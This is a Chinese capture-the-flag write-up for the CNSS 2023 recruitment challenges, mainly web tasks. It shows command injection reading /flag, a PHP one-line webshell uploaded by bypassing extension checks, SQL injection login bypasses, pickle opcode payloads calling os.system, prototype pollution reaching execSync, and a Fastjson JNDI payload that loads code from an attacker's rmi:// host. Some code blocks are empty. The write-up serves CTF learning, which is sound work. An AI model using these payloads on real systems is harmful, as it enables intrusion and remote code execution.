CNSS 2023 Recruit WriteUps~~~
本文最后更新于:1 分钟前
Web
[Baby] 🦴 babyHTTP
Get,Post,Cookie的应用,根据提示一步一步来就好了~~
curl -X POST http://XXXX:XXXX/?CNSS=hackers -d "web=fun" --cookie "admin=true"
(不懂curl的人有难了
CNSS{w2b_1s_Reaiiy_7un!!!}
[Baby] 🙋 PHPinfo
根据提示访问/phpinfo.php
Ctrl + F
搜索cnss获得Flag
cnss{l3t_u5_l3arn_php1nfo}
[baby] 🏓 Ping
访问题目地址,可知为简单的命令注入,因为没有过滤,那我们就狠狠的inject~~
还是用curl
curl -X POST http://124.221.34.13:55566/ -d "ip=127.0.0.1;ls"
这里使用;
进行隔断,类似的符号还有$
,|
,-
,(
,)
,`
,||
,&
,&&
,}
,{
参考 CTFping命令绕过及符号用法_ctf ping-CSDN博客
猜一手文件在根目录
curl -X POST http://124.221.34.13:55566/ -d "ip=127.0.0.1;cat /flag"
(绕过cat被过滤,可以尝试
1 |
|
得到flag
CNSS{p0ng_p0ng_pong!!!}
[Baby+] 🥇 我得再快点
访问题目地址,看到网页不断刷新以及提示可知为快速计算
(就是要用脚本访问获取Key的值,并计算出其md5值,再post回去,关键要保证session一致,以保证post对应的网页与get的一致
这里使用py
1 |
|
cnss{3njoy_py5cript_n0w}
[Baby+] 🐶 CNSS娘の宠物商店
访问题目地址,根据提示直接右上角进入登录界面,用户名为admin,尝试密码为admin失败(应该不至于吧~~
猜测sql注入,输入 1'
发现报错
可知是单引号过滤,直接尝试万能密码1' or '1'='1
或-1' or 1=1 #
芜湖~~~
cnss{h0W_d1d_y0u_l0g1n_t0_my_4dm1n_p4n3l?}
[Easy] 🥵 2048
访问题目地址,嘿嘿直接开玩,不就1000000分吗
老规矩F12看看,欸怎么把键盘按爆了都没反应,过滤了功能键区,再试试Ctrl+Shift+I
或Ctrl+Shift+C
成功打开
可以看到调用getflag()函数来获取flag
Ctrl+F
开搜发现在main2048.js
里,但是加密了(哭
简单往下扫一下没发现啥,好好好,回去网页看看,发现score值会变化,那js中必然有函数在使其更新
在js中搜score
,发现updateScore()
函数,控制台尝试updateScore(1000001)
,发现虽然数值改变了,但点flag仍然不行(这不是掩耳盗铃吗~~
在其他函数搜score,发现score为全局定义的变量,每次加分都会随着更新,嘿嘿,那不直接控制台改一下就好了
再点flag,发现成功啦,哈哈哈哈哈哈哈哈哈
cnss{3asy_fr0nt_kn0wledge}
[Easy] 👤 换个头像先
访问题目地址,右上角随便注册一下,登录,发现要让我们换头像
应该是文件上传题,一句话木马启动,
<?php @eval($_POST[1]);?>
写入文件,并改后缀为jpg
BurpSuite启动,开启代理抓包,上传jpg
将后缀改为php
(如果有过滤可以尝试php2
,php3
,php4
,php5
,phtml
,以及大小写和复写等其他
放行,并查看http历史记录查看上传目录
然后蚁剑启动
getshell,访问根目录得到flag
cnss{D4ng3r0us_F1l3_Up10ad!}
[Mid] 7️⃣ EZRCCCCE
访问题目地址
观察代码,filter函数中做了过滤,接下来的代码对Get的内容做了长度限制,第一眼没见过,开搜,查阅得知,linux中可以在没有写完的命令后面加\,可以将一条命令写在多行中
比如一条命令cat flag可以如下表示
同时把命令一行一行写进文本中也是可以执行的
注意是\\
,因为要防止被转义
以及>>
和>
的区别:
>> 是追加内容 >` 是覆盖原有内容
于是网上找了个脚本(我才不是脚本小子呢
1 |
|
1 |
|
payload.txt:
1 |
|
ls -t是根据时间顺序把文件名列出来,刚好满足我们需求,但注意:是倒序,这也就是为什么payload.txt
中的命令是反的了
python脚本:
1 |
|
这边还有个小点,也就是那个sandbox的目录名
因为限制8个字符,所以可以直接通过ls ..
来获得
然后就可以拼接地址
http://124.221.34.13:55559/sandbox/0eea99a28b6e985ffbe584f98dd999b7/1.php
因为前面木马是GET形式所以直接访问
http://124.221.34.13:55559/sandbox/0eea99a28b6e985ffbe584f98dd999b7/1.php?1=system('ls /');
(注意分号别忘了
http://124.221.34.13:55559/sandbox/0eea99a28b6e985ffbe584f98dd999b7/1.php?1=system('cat /flag');
得到flag
CNSS{y0u_kn0w_h0w_7o_k22p_fit}
[Mid] 🐱 Tomcat?cat~
嘿嘿,这题当时想了好久,后面才发现网页标题有提示Struct2,开搜
但是看了半天其实也没看太懂,这里贴一下别人的原理解释
Struts 2 框架的表单验证机制( Validation )主要依赖于两个拦截器:validation 和 workflow。validation 拦截器工作时,会根据 XML 配置文件来创建一个验证错误列表;workflow 拦截器工作时,会根据 validation 拦截器所提供的验证错误列表,来检查当前所提交的表单是否存在验证错误。
在默认配置下,如果 workflow 拦截器检测到用户所提交的表单存在任何一个验证错误,workflow 拦截器都会将用户的输入进行解析处理,随即返回并显示处理结果。
Struts 2 框架中的一个标签处理功能: altSyntax
altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。
altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。
于是,在 XWork 组件版本小于 2.0.4 以及 altSyntax 功能开启的情况下,恶意攻击者可以通过提交一个带有 OGNL 表达式的表单请求,故意触发表单验证错误——最终该表单请求中恶意的 OGNL 表达式会被 XWork 组件解析并执行,随即由 workflow 拦截器返回执行结果。
再贴一个找到的exp,稍微修改下对应命令就能找到flag了:
1 |
|
至于为什么选择age,因为逐个尝试只有他回显了
TODO:才疏学浅,以后有空再来理解一遍
CNSS{t0mcat_1s_4_cute_cat_m1a0}
[Mid] 🔧 where is my unserialize?
这题也磨了好久,访问题目,到处点点
发现查看文件可以查看源码,那就一个个试下
index.php:
base.php:
upload_file.php:
file.php:
function.php:
class.php:
有点多。。。
这也是我之前没见过的题,用到了phar,本来想网上找个模板套一下试试,结果成功了
贴一下:
1 |
|
TODO:哭了,当时看的好绕,不是很懂,以后再来看看
CNSS{Y0u_Kn0w_PHP_v2ry_we11!!}
[Mid] 🚓 can can need shell
根据hint:
https://github.com/z-song/laravel-admin/issues/5764
可以找到别人对漏洞的复现:
https://flyd.uk/post/cve-2023-24249/
访问admin目录,admin/admin登录
这个漏洞是任意文件上传
具体方法如下:
把一句话木马写入文件,文件后缀改为jpg
使用BurpSuite抓包,先不更改,直接放行
再到http历史记录中找到post记录,并右键进行重放
文件后缀改为php,并发送
漏洞复现成功啦,但是你会发现怎么跟上面文章不一样
嗯?为什么?究竟为什么?啊啊啊啊,玉玉了
百思不得其解,但经过后来一通乱点发现了机密
是因为做了过滤
点击Media manager
会有一个FilesystemAdapter.php
下载来看看
发现对后缀以及内容进行了过滤,真是太罪恶了😡
怎么办,难道就要停滞不前了吗
嘿,不要小看羁绊的力量啊!!
好吧,其实是等了几天,出题人了加了hint
php关键词列表:
https://www.php.net/manual/zh/reserved.keywords.php
参考这个:
https://www.php.net/manual/zh/function.include.php
一看,师傅好手艺,妙手回春啊,受教了
waf没有过滤include
和引号
那就上传个一句话木马txt(蚁剑连不上,不造为什么
再用include包含它,执行就好了,方法跟上面一样
一通操作直接得到flag
CNSS{Y0U_H4cked_My_LaRaV31_4dM1n}
[Mid] 💻 CNSS娘の聊天室
这题卡死我了,搜索引擎快被橄榄了呢
一眼ssti,但是屏蔽了英文字母
好好好,不会,开搜,经过漫长的搜索,发现可以八进制绕过(🤮
1 |
|
CNSS{y0u_ru1n3d_my_ch4tr00m!}
[Mid] 🛒 CNSS娘のFlag商店
(其实我觉得这个才应该是Mid+
/code下载源码
buyInfo.py
1
2
3
4
5
6
7
8
9
NAME = "Rich"
MONEY = 2000
def reset():
global NAME, MONEY
NAME = "Rich"
MONEY = 2000
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# encoding: utf-8
import os
import pickle
import buyInfo
import flask
app = flask.Flask(__name__)
flag = os.environ.get('FLAG')
class Hi():
def __init__(self, name, money):
self.name = name
self.money = money
def __eq__(self, other):
return self.name == other.name and self.money == other.money
@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'
user = pickle.loads(user.encode('utf-8'))
print(user.name, user.money)
print(buyInfo.NAME, buyInfo.MONEY)
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'
return '臭要饭的别挡我财路'
@app.route('/code')
def code():
file = 'code.zip'
return flask.send_file(file, mimetype='application/zip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
根据源码可知要对 /?user 进行请求
对R
命令进行了过滤,但是我们还有i和从c指令
R:
1
2
3
4b'''cos
system
(S'whoami'
tR.'''
i:
1
2
3
4b'''(S'whoami'
ios
system
.'''
o:
1
2
3
4b'''(cos
system
S'whoami'
o.'''
这里涉及到一个叫opcode的东西
找到的资料:
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
一些点:
c指令会自动import库,所以在源代码中不需要引入相关库
opcode可以手写,也可以用
pickle.dumps(,protocol=0)
生成,但是使用的pickle版本不能过高,因为高版本有很多不可见字符,不方便编辑(生成的不知道为啥我用了,所以我干脆手写了可以使用pickletools来调试
pickletools是python自带的pickle调试器,有三个功能:
- 反汇编一个已经被打包的字符串
- 优化一个已经被打包的字符串
- 返回一个迭代器来供程序使用
我们一般使用前两种。详看资料1
脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import pickle
import buyInfo
import pickletools
import requests
import base64
import urllib
class Hi:
def __init__(self, name, money):
self.name = name
self.money = money
def __eq__(self, other):
return self.name == other.name and self.money == other.money
data = b"""c__main__
buyInfo
(S'1'
S'2'
db0(c__main__
Hi
cbuyInfo
NAME
cbuyInfo
MONEY
o.
"""
print(pickletools.dis(data))
print(pickle.loads(data).NAME, pickle.loads(data).MONEY)
url = f"https://cnss-flag-shop-d22515ddfd9086fbb6b0c41c686a25c3.ctf.hurrison.com/?user={data.decode()}"
response = requests.request("GET", url)
print(response.text)
1 |
|
解释一下这一坨
- 手写
c
指令获得全局变量__main__.buyInfo
(
标记mark压入栈- 再用
c
指令引入__main__.Hi
c
引入buyInfo.NAME
和buyInfo.MONEY
o
寻找栈中的上一个MARK(3),以之间的第一个数据__main__.Hi
为callable,第2个到第3个数据为参数,执行该函数(或实例化一个对象)0
丢弃栈(可以不写,但是会报警告:stack not empty after STOP
,也可以放在1和2之间,不知道为什么.
结束
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
–来自pickle反序列化初探 - 先知社区 (aliyun.com)
CNSS{fl4g_f0r_r1ch_k1d5}
[Mid+] 🔪 CNSS娘の自助Flag商店
也是 pickle
同样 /code 下载源码
buyInfo.py
1
2
3
4
5
6
7
8
9
NAME = "Rich"
MONEY = 2000
def reset():
global NAME, MONEY
NAME = "Rich"
MONEY = 2000
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# encoding: utf-8
import pickle
import flask
import buyInfo
app = flask.Flask(__name__)
# flag is in /flag.txt
class Hi():
def __init__(self, name, money):
self.name = name
self.money = money
def __eq__(self, other):
return self.name == other.name and self.money == other.money
@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'
user = pickle.loads(user.encode('utf-8'))
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return '你说得对,但是上次CNSS娘被你骗了之后很伤心,把商店改成了自助flag商店,你得自己找flag'
return '臭要饭的别挡我财路'
@app.route('/code')
def code():
file = 'code.zip'
return flask.send_file(file, mimetype='application/zip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
同样,用/user?
请求且过滤了R
命令
但这题不需要user == Hi(buyInfo.NAME, buyInfo.MONEY):
因为picke.loads()
在比较之前就执行了opcode
那就直接上一题,除了R
之外的2个RCE选1个就行了
1 |
|
是不是很简单😡,但是py的编码问题搞了我很久,讨厌py
反弹shell秒了,但是千万记得开端口(为了写一题花¥95,哭了
CNSS{fl4g_f0r_c1ev3r_k1ds}
[Mid+] 🏭 EzPollution_pre
嘿嘿,原型链,nodejs太好玩了
之前没接触过,开搜
上资料:
简单了解了一下,
现在我们知道了,当访问一个
对象
的某个属性时,会先在这个对象本身属性上查找,如果没有找到,则会通过它的__proto__
隐式属性,找到它的构造函数
的原型对象
,如果还没有找到就会再在其构造函数
的prototype
的__proto__
中查找,这样一层一层向上查找就会形成一个链式结构,我们称为原型链
。
看文字好像有点抽象,我们来try try看
可以看到a一直都是个空对象
但是我们通过增加继承关系mm
当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。
所以a.mm返回了原型上的属性
贴一下源码
login.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var express = require('express')
var router = express.Router()
var utils = require('../utils/common')
function waf(value) {
const blacklistRegex = /(exec|load)/i
if (blacklistRegex.test(value)) {
return false
}
return true
}
/* GET home page. */
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html')
var secert = {}
var sess = req.session
let user = {}
utils.copy(user, req.body)
if (secert.psych === 'p5ych') {
if (waf(secert.eva1)) {
res.send(seval(secert.eva1))
} else {
res.send('hehe,,')
}
} else {
return res.json({
ret_code: 2,
ret_msg: '登录失败' + JSON.stringify(user),
})
}
})
module.exports = router
对于这题
- 要使
secret.psych == 'p5ych'
,但是secret是个空对象,所以就要用到原型链 - 但login.js中并没有明显的原型链操作,这时我们注意到
utils.copy(user, req.body)
,翻一下utils的源码
common.js
1
2
3
4
5
6
7
8
9
10
11
12
13
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
观察copy函数,如果当key
为__proto__
时,是不是就完成了一次原型链污染,实践一下
发现污染成功,芜湖~~
接下来就比较简单了,因为一个环境只能污染一次,所以先本地运行一下试一下(记得搭一下nodejs环境
打开BurpSuite抓包,点击登录
修改post参数,放行
得到回显
需要注意的点:
- 源码中过滤了
exec
和load
,所以可以使用+
逃过waf - 这个回显的地方要慢慢调,好崩溃😒😒
本地调好了,那就上环境,如法炮制一下,得到flag
CNSS{v2ry_ea5y_N0dejs}
[Hard] 📀 newsql
我才不会告诉你这题我是手注的
如题sql注入,经过提示得到这是sql8.0的特性注入
资料:
【网安干货】MySQL8新特性注入技巧_mysql values row_IT老涵的博客-CSDN博客
【精选】Pwnhub2021七月赛NewSql(mysql8注入)_mysql8 注入 ctf_bfengj的博客-CSDN博客
得知sql8.0多了Table
和Value
的语法
1TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
当然table也有几个比较奇怪的问题:
- 符号比较(<符号的问题,在爆最后一位时与前面不同
- 大小写问题(坑死我了,用binary’’来解决
- 详情看资料
1
2
3
4
5
6
7
8
9
10VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[,ROW(value_list)][,...]
value_list:
value[,value][,...]
column_designator:
column_index
# 但这题我没用到value,不太懂具体用法
以及新的表information_schema.TABLESPACES_EXTENSIONS
information_schema.TABLESPACES_EXTENSIONS
一次性储存了数据库名和表名
不多说,上手实操才是真理
输入1 and 1=1 #
正常回显
而1 and 1=2 #
不回显
找到注入点,尝试order by
,union
,select
发现都被过滤了
那就靠猜的吧
id=1 and ('','')<=(table information_schema.TABLESPACES_EXTENSIONS limit 0,1) #
时有回显,所以有两列
当时写完之后才想起来可以用脚本,头铁😢😢
1 |
|
一个个试过去
?id=1 and (binary'${arr.join('')}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 10,1) #
库/表
id | name |
---|---|
1 | mysql |
2 | innodb_system |
3 | innodb_temporary |
4 | innodb_undo_001 |
5 | innodb_undo_002 |
6 | sys/sys_config |
7 | cnss/users |
8 | cnss/cn55 |
9 | cnss/uagents |
10 | cnss/referers |
可以猜到flag应该在cnss/cn55中
http://124.221.34.13:55553/?id=1 and ('9',binary'${arr.join('')}')<(table cn55 limit 8,1) #
id | name |
---|---|
1 | Dumb@dhakkan.com |
2 | Angel@iloveu.com |
3 | Dummy@dhakkan.local |
4 | secure@dhakkan.local |
5 | stupid@dhakkan.local |
6 | superman@dhakkan.local |
7 | batman@dhakkan.local |
8 | CNSS{1_want_t0_b2_b1ghacker} |
别问我为什么要全写出来,我闲的
CNSS{1_want_t0_b2_b1ghacker}
[Hard] ✴️ EzPollution
真的是太Ez啦(🤐🤐🤐
观察源码,是ejs
1 |
|
- 可以看到
/login
中用的是Get请求
这其实是卡我最久的地方🫥🫥🫥
不断尝试发现直接a[b][c]=111
就行了,太痛了谁懂
- 其次
merge
函数过滤了__proto__
,所以要换个方法
根据hint:EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re
可以看到ejs有个注入点
1 |
|
但是hint中也是用的__proto__
,于是乎开搜
发现{"constructor": {"prototype": {"role": "admin"}}}
一样可以污染原型链
那后面就简单了
构造
1 |
|
注意这里的return,我找了很久的回显方式,发现当攻击完之后,在访问一次初始网页,就会自动下载命令执行结果
原理我猜测是
当用escapeFn截断原始命令时return global.process.mainModule.constructor._load('child_process').execSync('whoami')
就成了单独的一条命令
当再次访问登录界面时,会complie被污染的escapeFn使语句执行,也就会自动下载命令执行结果
试过反弹shell,似乎不行(泪流满面
不确定哈。。
cnss{JavaScr1pt_is_4w3s0m33333}
[Hard+] 🥇 ruoyi with fastjson
Hint:
- 环境10分钟重置一次, 请不要故意破坏环境或泄露flag, 所有流量都将会被记录
- 任意文件读取 –>flag part 1
- 想办法从/proc搞到jar包在哪
- 逆向jar包 –>flag part 2
- 找fastjson反序列化点,搞定payload的加密解密
- getshell –>flag part 3
- 一些可能有用的项目及工具东西:
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/WhiteHSBG/JNDIExploit
https://github.com/pen4uin/java-memshell-generator-release
https://xz.aliyun.com/t/12492
https://xz.aliyun.com/search?keyword=fastjson
没有公网地址,可以考虑frp,例如
https://www.natfrp.com/
,或者内存马等,可以参考提供的链接2、3、4
ruoyi版本为4.7.6
搜索得到漏洞为任意文件下载
根据复现方法try try
Flag Part 1
系统监控–>定时任务
确定,更多操作–>执行一次
访问
/common/download/resource?resource=Info.xml:.zip
得到flag1,
我才不会告诉你我不是这么获取的,我当时试了半天得不到,直接第二题CNSS{Fr0M_4rb1trA2y
Flag Part 2
提示/proc
用上面的漏洞访问获得
/proc/cmdline
获得
/usr/local/jdk8/bin/java -Xms64m -Xmx512m -jar /tmp/source/ruoyi.jar
得到
jar
包的路径:/tmp/source/ruoyi.jar
再用上面漏洞获得
jar
使用
idea
进入
idea
的路径IntelliJ IDEA 2023.2.3\plugins\java-decompiler\lib
可以注意到文件夹有个java-decompiler.jar
把
ruoyi.jar
复制到此文件夹创建一个
ruoyi
文件夹命令行写入
java -cp "xxxx\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true ruoyi.jar ruoyi
回车执行得到逆向的包,并解压,用
idea
打开双击
shift
,搜索part2
,得到flag_f1L3_Reaol_Vuln3rab1l1Ty
Flag Part 3
获取jndi工具
JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。
git到vps上,
嘿嘿我在本地试了半天、根据上面获得的源码,可知
fastjson
的攻击地址为/common/sign
,请求方式为POST
,且post的数据经过了AES解密所以我们需要先加密再post
查看
AESUtils.java
的decryptAES
可以看到加密类型为
AES/CBC/PKCS7Padding
,且需要base64解密关于jndi
FastJson远程代码执行漏洞基于JNDI反弹shell使用_fastjson反弹shell_Hapen_Lu的博客-CSDN博客
启动jndi服务,vps同时监听payload的端口
版本为jar1.8,选择1.8的rmi
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx:1099/0v7hzy ","autoCommit":true}}
随便找个aes加密网站
打开你的post工具,这里我用的是
postman
把登陆的cookie复制到postman
根据
com.ruoyi.project.system.config.domain.Sign
发送json数据
查看监听,可以发现已经连接上了
(如果跟我一样flag1没拿到也可以在这cat获得
_to_R3m0te_COde_Ex2cuT10n!!!}
整理一下,得到flag
CNSS{Fr0M_4rb1trA2y_f1L3_Reaol_Vuln3rab1l1Ty_to_R3m0te_COde_Ex2cuT10n!!!}
[Boss] 🗡 CNSS娘の复仇 - 1
访问到/assets/发现别人的webshell没删
CNSS{E4sy_Y1i2_uN5er1Aliz3_7o_RcE!}
Re
Pwn
Crypto
Misc
[Guideline] 🥰 SignIn
跟暑假赛一样,在qq群里,不会有人找不到吧~~
[Baby]🧐 招新平台的彩蛋
左上角,原神启动!(其实我是翻源码找到的
[Easy] ✨ 星光下的梦想
mp3文件,丢到Audacity
康康,右键切到频谱图
对于我这种眼瞎的很不友好
CNSS{DR34M~UND3RN347H~5T4R11GH7}
[Hard] 🎉 扫码领取 flag
如图
Format Info Pattern
是什么,我也不知道
这里用到一个网站:QRazyBox - QR Code Analysis and Recovery Toolkit (merri.cx)
用Brute-force Format Info Pattern
爆破
稍等一下,点击左上角Editor Mode
,出现
点击Decode
得到flag
cnss{Ur_Qr_K1NnG!}
[Baby] Hello World - 1
签到题
1 |
|
cnss{hello_cnss}
[Easy] Hello World - 2
1 |
|
cnss{hello_cn33_n0_quotes}
[Easy] Hello World - 3
1 |
|
1 |
|
1 |
|
cnss{i_d0nt_l1ke_semic0lon}
[Realworld] 🌏 MCNSS
CNSS{a_fAke_F1aG}